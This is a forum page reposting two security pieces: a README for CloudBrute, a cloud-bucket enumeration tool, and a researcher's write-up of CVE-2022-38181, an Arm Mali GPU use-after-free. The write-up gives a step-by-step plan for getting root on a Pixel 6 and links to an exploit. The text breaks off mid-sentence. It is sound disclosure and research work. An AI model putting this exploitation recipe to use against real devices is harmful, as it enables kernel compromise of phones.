Jump to content

Nytro

Administrators
  • Posts

    18732
  • Joined

  • Last visited

  • Days Won

    710

Everything posted by Nytro

  1. CloudBrute A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). The outcome is useful for bug bounty hunters, red teamers, and penetration testers alike. The complete writeup is available. here At a glance Motivation While working on HunterSuite, and as part of the job, we are always thinking of something we can automate to make black-box security testing easier. We discussed this idea of creating a multiple platform cloud brute-force hunter.mainly to find open buckets, apps, and databases hosted on the clouds and possibly app behind proxy servers. Here is the list issues we tried to fix: separated wordlists lack of proper concurrency lack of supporting all major cloud providers require authentication or keys or cloud CLI access outdated endpoints and regions Incorrect file storage detection lack support for proxies (useful for bypassing region restrictions) lack support for user agent randomization (useful for bypassing rare restrictions) hard to use, poorly configured Features Cloud detection (IPINFO API and Source Code) Supports all major providers Black-Box (unauthenticated) Fast (concurrent) Modular and easily customizable Cross Platform (windows, linux, mac) User-Agent Randomization Proxy Randomization (HTTP, Socks5) Supported Cloud Providers Microsoft: Storage Apps Amazon: Storage Apps Google: Storage Apps DigitalOcean: storage Vultr: Storage Linode: Storage Alibaba: Storage Version 1.0.0 Usage Just download the latest release for your operation system and follow the usage. To make the best use of this tool, you have to understand how to configure it correctly. When you open your downloaded version, there is a config folder, and there is a config.YAML file in there. It looks like this providers: ["amazon","alibaba","amazon","microsoft","digitalocean","linode","vultr","google"] # supported providers environments: [ "test", "dev", "prod", "stage" , "staging" , "bak" ] # used for mutations proxytype: "http" # socks5 / http ipinfo: "" # IPINFO.io API KEY For IPINFO API, you can register and get a free key at IPINFO, the environments used to generate URLs, such as test-keyword.target.region and test.keyword.target.region, etc. We provided some wordlist out of the box, but it's better to customize and minimize your wordlists (based on your recon) before executing the tool. After setting up your API key, you are ready to use CloudBrute. ██████╗██╗ ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗████████╗███████╗ ██╔════╝██║ ██╔═══██╗██║ ██║██╔══██╗██╔══██╗██╔══██╗██║ ██║╚══██╔══╝██╔════╝ ██║ ██║ ██║ ██║██║ ██║██║ ██║██████╔╝██████╔╝██║ ██║ ██║ █████╗ ██║ ██║ ██║ ██║██║ ██║██║ ██║██╔══██╗██╔══██╗██║ ██║ ██║ ██╔══╝ ╚██████╗███████╗╚██████╔╝╚██████╔╝██████╔╝██████╔╝██║ ██║╚██████╔╝ ██║ ███████╗ ╚═════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝ V 1.0.7 usage: CloudBrute [-h|--help] -d|--domain "<value>" -k|--keyword "<value>" -w|--wordlist "<value>" [-c|--cloud "<value>"] [-t|--threads <integer>] [-T|--timeout <integer>] [-p|--proxy "<value>"] [-a|--randomagent "<value>"] [-D|--debug] [-q|--quite] [-m|--mode "<value>"] [-o|--output "<value>"] [-C|--configFolder "<value>"] Awesome Cloud Enumerator Arguments: -h --help Print help information -d --domain domain -k --keyword keyword used to generator urls -w --wordlist path to wordlist -c --cloud force a search, check config.yaml providers list -t --threads number of threads. Default: 80 -T --timeout timeout per request in seconds. Default: 10 -p --proxy use proxy list -a --randomagent user agent randomization -D --debug show debug logs. Default: false -q --quite suppress all output. Default: false -m --mode storage or app. Default: storage -o --output Output file. Default: out.txt -C --configFolder Config path. Default: config for example CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt" please note -k keyword used to generate URLs, so if you want the full domain to be part of mutation, you have used it for both domain (-d) and keyword (-k) arguments If a cloud provider not detected or want force searching on a specific provider, you can use -c option. CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt Dev Clone the repo go build -o CloudBrute main.go go test internal in action How to contribute Add a module or fix something and then pull request. Share it with whomever you believe can use it. Do the extra work and share your findings with community ♥ FAQ How to make the best out of this tool? Read the usage. I get errors; what should I do? Make sure you read the usage correctly, and if you think you found a bug open an issue. When I use proxies, I get too many errors, or it's too slow? It's because you use public proxies, use private and higher quality proxies. You can use ProxyFor to verify the good proxies with your chosen provider. too fast or too slow ? change -T (timeout) option to get best results for your run. Credits Inspired by every single repo listed here . Sursa: https://github.com/0xsha/CloudBrute
      • 4
      • Upvote
      • Thanks
  2. Pwning the all Google phone with a non-Google bug It turns out that the first “all Google” phone includes a non-Google bug. Learn about the details of CVE-2022-38181, a vulnerability in the Arm Mali GPU. Join me on my journey through reporting the vulnerability to the Android security team, and the exploit that used this vulnerability to gain arbitrary kernel code execution and root on a Pixel 6 from an Android app. Author Man Yue Mo January 23, 2023 The “not-Google” bug in the “all-Google” phone The year is 2021 A.D. The first “all Google” phone, the Pixel 6 series, made entirely by Google, is launched. Well not entirely… One small GPU chip still holds out. And life is not easy for security researchers who audit the fortified camps of Midgard, Bifrost, and Valhall.1 An unfortunate security researcher was about to learn this the hard way as he wandered into the Arm Mali regime: CVE-2022-38181 In this post I’ll cover the details of CVE-2022-38181, a vulnerability in the Arm Mali GPU that I reported to the Android security team on 2022-07-12 along with a proof-of-concept exploit that used this vulnerability to gain arbitrary kernel code execution and root privileges on a Pixel 6 from an Android app. The bug was assigned bug ID 238770628. After initially rating it as a High-severity vulnerability, the Android security team later decided to reclassify it as a “Won’t fix” and they passed my report to Arm’s security team. I was eventually able to get in touch with Arm’s security team to independently follow up on the issue. The Arm security team were very helpful throughout and released a public patch in version r40p0 of the driver on 2022-10-07 to address the issue, which was considerably quicker than similar disclosures that I had in the past on Android. A coordinated disclosure date of around mid-November was also agreed to allow time for users to apply the patch. However, I was unable to connect with the Android security team and the bug was quietly fixed in the January update on the Pixel devices as bug 259695958. Neither the CVE ID, nor the bug ID (the original 238770628 and the new 259695958) were mentioned in the security bulletin. Our advisory, including the disclosure timeline, can be found here. The Arm Mali GPU The Arm Mali GPU is a “device-specific” hardware component which can be integrated into various devices, ranging from Android phones to smart TV boxes. For example, all of the international versions of the Samsung S series phones, up to S21 use the Mali GPU, as well as the Pixel 6 series. For additional examples, see “implementations” in Mali(GPU) Wikipedia entry for some specific devices that use the Mali GPU. As explained in my other post, GPU drivers on Android are a very attractive target for an attacker, as they can be reached directly from the untrusted app domain and most Android devices use either Qualcomm’s Adreno GPU, or the Arm Mali GPU, meaning that relatively few bugs can cover a large number of devices. In fact, of the seven Android 0-days that were detected as exploited in the wild in 2021– five targeted GPU drivers. Another more recent bug that was exploited in the wild – CVE-2021-39793, disclosed in March 2022 – also targeted a GPU driver. Together, of these six bugs that were exploited in the wild that targeted Android GPU drivers, three bugs targeted the Qualcomm GPU, while the other three targeted the Arm Mali GPU. Due to the complexity involved in managing memory sharing between user space applications and the GPU, many of the vulnerabilities in the Arm Mali GPU involve the memory management code. The current vulnerability is another example of this, and involves a special type of GPU memory: the JIT memory. Contrary to the name, JIT memory does not seem to be related to JIT compiled code, as it is created as non-executable memory. Instead, it seems to be used for memory caches, managed by the GPU kernel driver, that can readily be shared with user applications and returned to the kernel when memory pressure arises. Many other types of GPU memory are created directly using ioctl calls like KBASE_IOCTL_MEM_IMPORT. (See, for example, the section “Memory management in the Mali kernel driver” in my previous post.) This, however, is not the case for JIT memory regions, which are created by submitting a special GPU instruction using the KBASE_IOCTL_JOB_SUBMIT ioctl call. The KBASE_IOCTL_JOB_SUBMIT ioctl can be used to submit a “job chain” to the GPU for processing. Each job chain is basically a list of jobs, which are opaque data structures that contain job headers, followed by payloads that contain the specific instructions. For an example, see the Writing to GPU memory section in my previous post. While the KBASE_IOCTL_JOB_SUBMIT is normally used for sending instructions to the GPU itself, there are also some jobs that are implemented in the kernel and run on the host (CPU) instead. These are the software jobs (“softjobs”) and among them are jobs that instruct the kernel to allocate and free JIT memory (BASE_JD_REQ_SOFT_JIT_ALLOC and BASE_JD_REQ_SOFT_JIT_FREE). The life cycle of JIT memory While KBASE_IOCTL_JOB_SUBMIT is a general purpose ioctl call and contains code paths that are responsible for handling different types of GPU jobs, the BASE_JD_REQ_SOFT_JIT_ALLOC job essentially calls kbase_jit_allocate_process, which then calls kbase_jit_allocate to create a JIT memory region. To understand the lifetime and usage of JIT memory, let me first introduce a few different concepts. When using the Mali GPU driver, a user app first needs to create and initialize a kbase_context kernel object. This involves the user app opening the driver file and using the resulting file descriptor to make a series of ioctl calls. A kbase_context object is responsible for managing resources for each driver file that is opened and is unique for each file handle. In particular, it has three list_head fields that are responsible for managing JIT memory: the jit_active_head, the jit_pool_head, and the jit_destroy_head. As their names suggest, jit_active_head contains memory that is still in use by the user application, jit_pool_head contains memory regions that are not in use, and jit_destroy_head contains memory regions that are pending to be freed and returned to the kernel. Although both jit_pool_head and jit_destroy_head are used to manage JIT regions that are free, jit_pool_head acts like a memory pool and contains JIT regions that are intended to be reused when new JIT regions are allocated, while jit_destroy_head contains regions that are going to be returned to the kernel. When kbase_jit_allocate is called, it’ll first try to find a suitable region in the jit_pool_head: if (info->usage_id != 0) /* First scan for an allocation with the same usage ID */ reg = find_reasonable_region(info, &kctx->jit_pool_head, false); ... if (reg) { ... list_move(&reg->jit_node, &kctx->jit_active_head); If a suitable region is found, then it’ll be moved to jit_active_head, indicating that it is now in use in userland. Otherwise, a memory region will be created and added to the jit_active_head instead. The region allocated by kbase_jit_allocate, whether it is newly created or reused from jit_pool_head, is then stored in the jit_alloc array of the kbase_context by kbase_jit_allocate_process. When the user no longer needs the JIT memory, it can send a BASE_JD_REQ_SOFT_JIT_FREE job to the GPU. This then uses kbase_jit_free to free the memory. However, rather than returning the backing pages of the memory region back to the kernel immediately, kbase_jit_free first reduces the backing region to a minimal size and removes any CPU side mapping, so the pages in the region are no longer reachable from the address space of the user process: void kbase_jit_free(struct kbase_context *kctx, struct kbase_va_region *reg) { ... //First reduce the size of the backing region and unmap the freed pages old_pages = kbase_reg_current_backed_size(reg); if (reg->initial_commit < old_pages) { u64 new_size = MAX(reg->initial_commit, div_u64(old_pages * (100 - kctx->trim_level), 100)); u64 delta = old_pages - new_size; //Free delta pages in the region and reduces its size to old_pages - delta if (delta) { mutex_lock(&kctx->reg_lock); kbase_mem_shrink(kctx, reg, old_pages - delta); mutex_unlock(&kctx->reg_lock); } } ... //Remove the pages from address space of user process kbase_mem_shrink_cpu_mapping(kctx, reg, 0, reg->gpu_alloc->nents); Note that the backing pages of the region (reg) are not completely removed at this stage, and reg is also not going to be freed here. Instead, reg is moved back into jit_pool_head. However, perhaps more interestingly, reg is also moved to the evict_list of the kbase_context: kbase_mem_shrink_cpu_mapping(kctx, reg, 0, reg->gpu_alloc->nents); ... mutex_lock(&kctx->jit_evict_lock); /* This allocation can't already be on a list. */ WARN_ON(!list_empty(&reg->gpu_alloc->evict_node)); //Add reg to evict_list list_add(&reg->gpu_alloc->evict_node, &kctx->evict_list); atomic_add(reg->gpu_alloc->nents, &kctx->evict_nents); //Move reg to jit_pool_head list_move(&reg->jit_node, &kctx->jit_pool_head); After kbase_jit_free completed, its caller, kbase_jit_free_finish, will also clean up the reference stored in jit_alloc when the region was allocated, even though reg is still valid at this stage: static void kbase_jit_free_finish(struct kbase_jd_atom *katom) { ... for (j = 0; j != katom->nr_extres; ++j) { if ((ids[j] != 0) && (kctx->jit_alloc[ids[j]] != NULL)) { ... if (kctx->jit_alloc[ids[j]] != KBASE_RESERVED_REG_JIT_ALLOC) { ... kbase_jit_free(kctx, kctx->jit_alloc[ids[j]]); } kctx->jit_alloc[ids[j]] = NULL; //<--------- clean up reference } } ... } As we’ve seen before, the memory region in the jit_pool_head list may now be reused when the user allocates another JIT region. So this explains jit_pool_head and jit_active_head. What about jit_destroy_head? When JIT memory is freed by calling kbase_jit_free, it is also put on the evict_list. Memory regions in the evict_list are regions that can be freed when memory pressure arises. By putting a JIT region that is no longer in use in the evict_list, the Mali driver can hold onto unused JIT memory for quick reallocation, while returning them to the kernel when the resources are needed. The Linux kernel provides a mechanism to reclaim unused cached memory, called shrinkers. Kernel components, such as drivers, can define a shrinker object, which, amongst other things, involves defining the count_objects and scan_objects methods: struct shrinker { unsigned long (*count_objects)(struct shrinker *, struct shrink_control *sc); unsigned long (*scan_objects)(struct shrinker *, struct shrink_control *sc); ... }; The custom shrinker can then be registered via the register_shrinker method. When the kernel is under memory pressure, it’ll go through the list of registered shrinkers and use their count_objects method to determine potential amount of memory that can be freed, and then use scan_objects to free the memory. In the case of the Mali GPU driver, the shrinker is defined and registered in the kbase_mem_evictable_init method: int kbase_mem_evictable_init(struct kbase_context *kctx) { ... //kctx->reclaim is a shrinker kctx->reclaim.count_objects = kbase_mem_evictable_reclaim_count_objects; kctx->reclaim.scan_objects = kbase_mem_evictable_reclaim_scan_objects; ... register_shrinker(&kctx->reclaim); return 0; } The more interesting part of these methods is the kbase_mem_evictable_reclaim_scan_objects, which is responsible for freeing the memory needed by the kernel. static unsigned long kbase_mem_evictable_reclaim_scan_objects(struct shrinker *s, struct shrink_control *sc) { ... list_for_each_entry_safe(alloc, tmp, &kctx->evict_list, evict_node) { int err; err = kbase_mem_shrink_gpu_mapping(kctx, alloc->reg, 0, alloc->nents); ... kbase_free_phy_pages_helper(alloc, alloc->evicted); ... list_del_init(&alloc->evict_node); ... kbase_jit_backing_lost(alloc->reg); //<------- moves `reg` to `jit_destroy_pool` } ... } This is called to remove cached memory in jit_pool_head and return it to the kernel. The function kbase_mem_evictable_reclaim_scan_objects goes through the evict_list, unmaps the backing pages from the GPU (recall that the CPU mapping is already removed in kbase_jit_free) and then frees the backing pages. It then calls kbase_jit_backing_lost to move reg from jit_pool_head to jit_destroy_head: void kbase_jit_backing_lost(struct kbase_va_region *reg) { ... list_move(&reg->jit_node, &kctx->jit_destroy_head); schedule_work(&kctx->jit_work); } The memory region in jit_destroy_head is then picked up by the kbase_jit_destroy_worker, which then frees the kbase_va_region in jit_destroy_head and removes references to the kbase_va_region entirely. Well not entirely…one small pointer still holds out against the clean up logic. And lifetime management is not easy for the pointers in the fortified camps of the Arm Mali regime. The clean up logic in kbase_mem_evictable_reclaim_scan_objects is not responsible for removing the reference in jit_alloc from when the JIT memory is allocated, but this is not a problem, because as we’ve seen before, this reference was cleared when kbase_jit_free_finish was called to put the region in the evict_list and, normally, a JIT region is only moved to the evict_list when the user frees it via a BASE_JD_REQ_SOFT_JIT_FREE job, which removes the reference stored in jit_alloc. But we don’t do normal things here, nor do the people who seek to compromise devices. The vulnerability While the semantics of memory eviction is closely tied to JIT memory with most eviction functionality referencing “JIT” (for example, the use of kbase_jit_backing_lost in kbase_mem_evictable_reclaim_objects), evictable memory is more general and other types of GPU memory can also be added to the evict_list and be made evictable. This can be achieved by calling kbase_mem_evictable_make to add memory regions to the evict_list and kbase_mem_evictable_unmake to remove memory regions from it. From userspace, these can be called via the KBASE_IOCTL_MEM_FLAGS_CHANGE ioctl. Depending on whether the KBASE_REG_DONT_NEED flag is passed, a memory region can be added or removed from the evict_list: int kbase_mem_flags_change(struct kbase_context *kctx, u64 gpu_addr, unsigned int flags, unsigned int mask) { ... prev_needed = (KBASE_REG_DONT_NEED & reg->flags) == KBASE_REG_DONT_NEED; new_needed = (BASE_MEM_DONT_NEED & flags) == BASE_MEM_DONT_NEED; if (prev_needed != new_needed) { ... if (new_needed) { ... ret = kbase_mem_evictable_make(reg->gpu_alloc); //<------ Add to `evict_list` if (ret) goto out_unlock; } else { kbase_mem_evictable_unmake(reg->gpu_alloc); //<------- Remove from `evict_list` } } By putting a JIT memory region directly in the evict_list and then creating memory pressure to trigger kbase_mem_evictable_reclaim_scan_objects, the JIT region will be freed with a pointer to it still stored in jit_alloc. After that, a BASE_JD_REQ_SOFT_JIT_FREE job can be submitted to trigger kbase_jit_free_finish to use the freed object pointed to in jit_alloc: static void kbase_jit_free_finish(struct kbase_jd_atom *katom) { ... for (j = 0; j != katom->nr_extres; ++j) { if ((ids[j] != 0) && (kctx->jit_alloc[ids[j]] != NULL)) { ... if (kctx->jit_alloc[ids[j]] != KBASE_RESERVED_REG_JIT_ALLOC) { ... kbase_jit_free(kctx, kctx->jit_alloc[ids[j]]); //<----- Use of the now freed jit_alloc[ids[j]] } kctx->jit_alloc[ids[j]] = NULL; } } Amongst other things, kbase_jit_free will first free some of the backing pages in the now freed kctx->jit_alloc[ids[j]]: void kbase_jit_free(struct kbase_context *kctx, struct kbase_va_region *reg) { ... old_pages = kbase_reg_current_backed_size(reg); if (reg->initial_commit < old_pages) { ... u64 delta = old_pages - new_size; if (delta) { mutex_lock(&kctx->reg_lock); kbase_mem_shrink(kctx, reg, old_pages - delta); //<----- Free some pages in the region mutex_unlock(&kctx->reg_lock); } } So by replacing the freed JIT region with a fake object, I can potentially free arbitrary pages, which is a very powerful primitive. Exploiting the bug As explained before, this bug is triggered when the kernel is under memory pressure and calls kbase_mem_evictable_reclaim_scan_objects via the shrinker mechanism. From a user process, the required memory pressure can be created as simply as mapping a large amount of memory using the mmap system call. However, the exact amount of memory required to trigger the shrinker scanning is uncertain, meaning that there is no guarantee that a shrinker scan will be triggered after such an allocation. While I can try to allocate an excessive amount of memory to ensure that the shrinker scanning is triggered, doing so risks causing an out-of-memory crash and may also cause the object replacement to be unreliable. This causes problems in triggering and exploiting the bug reliably. It would be good if I could allocate memory incrementally and check whether the JIT region is freed by kbase_mem_evictable_reclaim_scan_objects after each allocation step and only proceed with the exploit when I’m sure that the bug has been triggered. The Mali driver provides an ioctl, KBASE_IOCTL_MEM_QUERY for querying properties of memory regions at a specific GPU address. If the address is invalid, the ioctl will fail and return an error. This allows me to check whether the JIT region is freed, because when kbase_mem_evictable_reclaim_scan_objects is called to free the JIT region, it’ll first remove its GPU mappings, making its GPU address invalid. By using the KBASE_IOCTL_MEM_QUERY ioctl to query the GPU address of the JIT region after each allocation, I can therefore check whether the region has been freed by kbase_mem_evictable_reclaim_scan_objects or not, and only start spraying the heap to replace the JIT region when it is actually freed. Moreover, the KBASE_IOCTL_MEM_QUERY ioctl doesn’t involve memory allocation, so it won’t interfere with the object replacement. This makes it perfect for testing whether the bug has been triggered. Although shrinker is a kernel mechanism for freeing up evictable memory, the scanning and removal of evictable objects via shrinkers is actually performed by the process that is requesting the memory. So for example, if my process is mapping some memory to its address space (via mmap and then faulting the pages), and the amount of memory that I am mapping creates sufficient memory pressure that a shrinker scan is triggered, then the shrinker scan and the removal of the evictable objects will be done in the context of my process. This, in particular, means that if I pin my process to a CPU while the shrinker scan is triggered, the JIT region that is removed during the scan will be freed on the same CPU. (Strictly speaking, this is not a hundred percent correct, because the JIT region is actually scheduled to be freed on a worker, but most of the time, the worker is indeed executed immediately on the same CPU.) This helps me to replace the freed JIT region reliably, because when objects are freed in the kernel, they are placed within a per CPU cache, and subsequent object allocations on the same CPU will first be allocated from the CPU cache. This means that, by allocating another object of similar size on the same CPU, I’m likely to be able to replace the freed JIT region. Moreover, the JIT region, which is a kbase_va_region, is actually a rather large object that is allocated in the kmalloc-256 cache, (which is used to allocate objects of size between 256-512 bytes when kmalloc is called) instead of the kmalloc-128 cache, (which allocates objects of size less than 128 bytes), and the kmalloc-256 cache is a less used cache. This, together with the relative certainty of the CPU that frees the JIT region, allows me to reliably replace the JIT region after it is freed. Replacing the freed object Now that I can reliably replace the freed JIT region, I can look at how to exploit the bug. As explained before, the freed JIT memory can be used as the reg argument in the kbase_jit_free function to potentially be used for freeing arbitrary pages: void kbase_jit_free(struct kbase_context *kctx, struct kbase_va_region *reg) { ... old_pages = kbase_reg_current_backed_size(reg); if (reg->initial_commit < old_pages) { ... u64 delta = old_pages - new_size; if (delta) { mutex_lock(&kctx->reg_lock); kbase_mem_shrink(kctx, reg, old_pages - delta); //<----- Free some pages in the region mutex_unlock(&kctx->reg_lock); } } One possibility is to use the well-known heap spraying technique to replace the freed JIT region with arbitrary data using sendmsg. This would enable me to create a fake kbase_va_region with a fake gpu_alloc and fake pages that could be used to free arbitrary pages in kbase_mem_shrink: int kbase_mem_shrink(struct kbase_context *const kctx, struct kbase_va_region *const reg, u64 new_pages) { ... err = kbase_mem_shrink_gpu_mapping(kctx, reg, new_pages, old_pages); if (err >= 0) { /* Update all CPU mapping(s) */ kbase_mem_shrink_cpu_mapping(kctx, reg, new_pages, old_pages); kbase_free_phy_pages_helper(reg->cpu_alloc, delta); //<------- free pages in cpu_alloc if (reg->cpu_alloc != reg->gpu_alloc) kbase_free_phy_pages_helper(reg->gpu_alloc, delta); //<--- free pages in gpu_alloc In order to do so, I’d need to know the addresses of some data that I can control, so I could create a fake gpu_alloc and its pages field at those addresses. This could be done either by finding a way to leak addresses of kernel objects, or use techniques like the one I wrote about in the Section “The Ultimate fake object store” in my other post. But why use a fake object when you can use a real one? The JIT region that is involved in the use-after-free bug here is a kbase_va_region, which is a complex object that has multiple states. Many operations can only be performed on memory objects with a correct state. In particular, kbase_mem_shrink can only be used on a kbase_va_region that has not been mapped multiple times. The Mali driver provides the KBASE_IOCTL_MEM_ALIAS ioctl that allows multiple memory regions to share the same backing pages. I’ve written about how KBASE_IOCTL_MEM_ALIAS works in more details in my previous post, but for the purpose of this exploit, the crucial point is that KBASE_IOCTL_MEM_ALIAS can be used to create memory regions in the GPU and user address spaces that are aliased to a kbase_va_region, meaning that they are backed by the same physical pages. If a kbase_va_region reg is mapped multiple times by using KBASE_IOCTL_MEM_ALIAS and then has its backing pages freed by kbase_mem_shrink, then only the memory mappings in reg are removed, so the alias regions created by KBASE_IOCTL_MEM_ALIAS can still be used to access the freed backing pages. To prevent kbase_mem_shrink from being called on aliased JIT memory, kbase_mem_alias checks for the KBASE_REG_NO_USER_FREE, so that JIT memory cannot be aliased: u64 kbase_mem_alias(struct kbase_context *kctx, u64 *flags, u64 stride, u64 nents, struct base_mem_aliasing_info *ai, u64 *num_pages) { ... for (i = 0; i < nents; i++) { if (ai[i].handle.basep.handle < BASE_MEM_FIRST_FREE_ADDRESS) { if (ai[i].handle.basep.handle != BASEP_MEM_WRITE_ALLOC_PAGES_HANDLE) ... } else { ... if (aliasing_reg->flags & KBASE_REG_NO_USER_FREE) //<-- 2. goto bad_handle; /* JIT regions can't be * aliased. NO_USER_FREE flag * covers the entire lifetime * of JIT regions. The other * types of regions covered * by this flag also shall * not be aliased. ... } Now suppose I trigger the bug and replace the freed JIT region with a normal memory region allocated via the KBASE_IOCTL_MEM_ALLOC ioctl, which is an object of the exact same type, but without the KBASE_REG_NO_USER_FREE flag that is associated with a JIT region. I then use KBASE_IOCTL_MEM_ALIAS to create an extra mapping for the backing store of this new region. All these are valid as I’m just aliasing a normal memory region that does not have the KBASE_REG_NO_USER_FREE flag. However, because of the bug, a dangling pointer in jit_alloc also points to this new region, which has now been aliased. If I now submit a BASE_JD_REQ_SOFT_JIT_FREE job to call kbase_jit_free on this memory, then kbase_mem_shrink will be called, and part of the backing store in this new region will be freed, but the extra mappings created in the aliased region will not be removed, meaning that I can still access the freed backing pages from the alias region. By using a real object of the same type, not only do I save the effort needed to craft a fake object, but it also reduces the risk of having side effects that could result in a crash. The situation is now very similar to what I had in my previous post and the exploit flow from this point on is also very similar. For completeness, I’ll give an overview of how the exploit works here, but readers who are interested can take a look at more details from the Section “Breaking out of the context” onwards in that post. To recap, I now have access to the backing pages in a kbase_va_region object that is already freed and I’d like to reuse these freed backing pages so I can gain read and write access to arbitrary memory. To understand how this can be done, we need to know how backing pages to a kbase_va_region are allocated. When allocating pages for the backing store of a kbase_va_region, the kbase_mem_pool_alloc_pages function is used: int kbase_mem_pool_alloc_pages(struct kbase_mem_pool *pool, size_t nr_4k_pages, struct tagged_addr *pages, bool partial_allowed) { ... /* Get pages from this pool */ while (nr_from_pool--) { p = kbase_mem_pool_remove_locked(pool); //<------- 1. ... } ... if (i != nr_4k_pages && pool->next_pool) { /* Allocate via next pool */ err = kbase_mem_pool_alloc_pages(pool->next_pool, //<----- 2. nr_4k_pages - i, pages + i, partial_allowed); ... } else { /* Get any remaining pages from kernel */ while (i != nr_4k_pages) { p = kbase_mem_alloc_page(pool); //<------- 3. ... } ... } ... } The input argument kbase_mem_pool is a memory pool managed by the kbase_context object associated with the driver file that is used to allocate the GPU memory. As the comments suggest, the allocation is actually done in tiers. First the pages are allocated from the current kbase_mem_pool using kbase_mem_pool_remove_locked (1 in the above). If there is not enough capacity in the current kbase_mem_pool to meet the request, then pool->next_pool, is used to allocate the pages (2 in the above). If even pool->next_pool does not have the capacity, then kbase_mem_alloc_page is used to allocate pages directly from the kernel via the buddy allocator (the page allocator in the kernel). When freeing a page, the opposite happens: kbase_mem_pool_free_pages first tries to return the pages to the kbase_mem_pool of the current kbase_context, if the memory pool is full, it’ll try to return the remaining pages to pool->next_pool. If the next pool is also full, then the remaining pages are returned to the kernel by freeing them via the buddy allocator. As noted in my previous post, pool->next_pool is a memory pool managed by the Mali driver and shared by all the kbase_context. It is also used for allocating page table global directories (PGD) used by GPU contexts. In particular, this means that by carefully arranging the memory pools, it is possible to cause a freed backing page in a kbase_va_region to be reused as a PGD of a GPU context. (The details of how to achieve this can be found in my previous post.) As the bottom level PGD stores the physical addresses of the backing pages to GPU virtual memory addresses, being able to write to PGD will allow me to map arbitrary physical pages to the GPU memory, which I can then read from and write to by issuing GPU commands. This gives me access to arbitrary physical memory. As physical addresses for kernel code and static data are not randomized and depend only on the kernel image, I can use this primitive to overwrite arbitrary kernel code and gain arbitrary kernel code execution. In the following figure, the green block indicates the same page being reused as the PGD. To summarize, the exploit involves the following steps: Create JIT memory. Mark the JIT memory as evictable. Increase memory pressure by mapping memory to the user space via normal mmap system calls. Use the KBASE_IOCTL_MEM_QUERY ioctl to check if the JIT memory is freed. Carry on applying memory pressure until the JIT region is freed. Allocate new GPU memory regions using the KBASE_IOCTL_MEM_ALLOC ioctl to replace the freed JIT memory. Create an alias region to the new GPU memory region that replaced the JIT memory so that the backing pages of the new GPU memory are shared with the alias region. Submit a BASE_JD_REQ_SOFT_JIT_FREE job to free the JIT region. As the JIT region is now replaced by the new memory region, this will cause kbase_jit_free to remove the backing pages of the new memory region, but the GPU mappings created in the alias region in step 6. will not be removed. The alias region can now be used to access the freed backing pages. Reuse the freed backing pages as PGD of the kbase_context. The alias region can now be used to rewrite the PGD. I can then map arbitrary physical pages to the GPU address space. Map kernel code to the GPU address space to gain arbitrary kernel code execution, which can then be used to rewrite the credentials of our process to gain root, and to disable SELinux. The exploit for Pixel 6 can be found here with some setup notes. Disclosure and patch gapping At the start of the post, I mentioned that I initially reported this bug to the Android Security team, but it was later dismissed as a “Won’t fix” bug. While it is unclear to me why such a decision was made, it is perhaps worth taking a look at the wider picture instead of treating this as an isolated incident. There has been a long history of N-day vulnerabilities being exploited in the Android kernel, many of which were fixed in the upstream kernel but didn’t get ported to Android. Perhaps the most infamous of these was CVE-2019-2215 (Bad Binder), which was initially discovered by the syzkaller fuzzer in November 2017 and patched in February 2018. However, this fix was never included in an Android monthly security bulletin until it was rediscovered as an exploited in-the-wild bug in September 2019. Another exploited in-the-wild bug, CVE-2021-1048, was introduced in the upstream kernel in December 2020, and was fixed upstream a few weeks later. The patch, however, was not included in the Android Security Bulletin until November 2021, when it was discovered to be exploited in-the-wild. Yet another exploited in-the-wild vulnerability, CVE-2021-0920, was found in 2016 with details visible in a Linux kernel email thread. The report, however, was dismissed by kernel developers at the time, until it was rediscovered to be exploited in-the-wild and patched in November 2021. To be fair, these cases were patched or ignored upstream without being identified as security issues (for example, CVE-2021-0920 was ignored), making it difficult for any vendor to identify such issues before it’s too late. This again shows the importance of properly addressing security issues and recording them by assigning a CVE-ID, so that downstream users can apply the relevant security patches. Unfortunately, vendors sometimes see having security vulnerabilities in their products as a damage to their reputation and try to silently patch or downplay security issues instead. The above examples show just how serious the consequences of such a mentality can be. While Android has made improvements to keep the kernel branches more unified and up-to-date to avoid problems such as CVE-2019-2215, where the vulnerability was patched in some branches but not others, some recent disclosures highlight a rather worrying trend. On March 7th, 2022, CVE-2022-0847 (Dirty pipe) was disclosed publicly, with full details and a proof-of-concept exploit to overwrite read-only files. While the bug was patched upstream on February 23rd, 2022, with the patch merged into the Android kernel on February, 24th, 2022, the patch was not included in the Android Security Bulletin until May 2022 and the public proof-of-concept exploit still ran successfully on a Pixel 6 with the April patch. While this may look like another incident where a security bug was patched silently upstream, this case was very different. According to the disclosure timeline, the bug report was shared with the Android Security Team on February 21st, 2022, a day after it was reported to the Linux kernel. Another vulnerability, CVE-2021-39793 in the Mali driver, was patched by Arm in version r36p0 of the driver (as CVE-2022-22706), which was released on February 11th, 2022. The patch was only included in the Android Security Bulletin in March as an exploited in-the-wild bug. Yet another vulnerability, CVE-2022-20186 that I reported to the Android Security Team on January 15th, 2022, was patched by Arm in version r37p0 of the Mali driver, which was released on April 21st, 2022. The patch was only included in the Android Security Bulletin in June and a Pixel 6 running the May patch was still affected. Taking a look at security issues reported by Google’s Project Zero team, between June and July 2022, Jann Horn of Project Zero reported five security issues (2325, 2327, 2331, 2333, 2334) in the Arm Mali GPU that affected the Pixel phones. These issues were promptly fixed as CVE-2022-33917 and CVE-2022-36449 by the Arm security team on July 25th, 2022 (CVE-2022-33917 in r39p0) and on August 18th, 2022 (CVE-2022-36449 in r38p1). The details of these bugs, including proof of concepts, were disclosed on September 18th, 2022. However, at least some of the issues remained unfixed in December 2022, (for example, issue 2327 was only fixed silently in the January 2023 patch, without mentioning the CVE ID) after Project zero published a blog post highlighting the patching problem with these particular issues on November 22nd, 2022. In all of these instances, the bugs were only patched in Android a couple months after a patch was publicly released upstream. In light of this, the response to this current bug is perhaps not too surprising. The year is 2023 A.D., and it’s still easy to pwn Android with N-days entirely. Well, yes, entirely. Notes Observant readers who learn their European history from a certain comic series may recognise the similarities between this and the openings to the Asterix series, which usually starts with: “The year is 50 BC. Gaul is entirely occupied by the Romans. Well, not entirely… One small village of indomitable Gauls still holds out against the 